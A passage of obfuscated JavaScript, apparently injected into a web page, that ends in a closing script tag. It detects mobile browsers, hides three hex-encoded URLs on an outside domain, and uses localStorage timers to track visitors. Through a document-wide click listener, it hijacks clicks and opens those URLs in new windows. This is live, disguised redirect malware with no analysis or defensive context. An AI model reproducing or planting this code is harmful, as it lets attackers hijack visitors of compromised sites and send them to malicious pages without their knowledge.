_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x142fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;else _0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift']());}}}(_0x10c8,0xd3435));var _0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'substr',_0x3ec38a(0x18c),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4d\x73\x72\x31\x63\x331',_0x3ec38a(0x187),_0x3ec38a(0x18b),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x4a\x6e\x65\x34\x63\x324',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0x196),'\x68\x74\x74\x70\x3a\x2f\x2f\x75\x2d\x75\x2e\x69\x63\x75\x2f\x63\x6d\x41\x39\x63\x339','',_0x3ec38a(0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3),'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let _0x129862=![];return function(_0x784bdc){(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]]),_0x129862;};const _0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0xb],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const _0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return _0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());</script>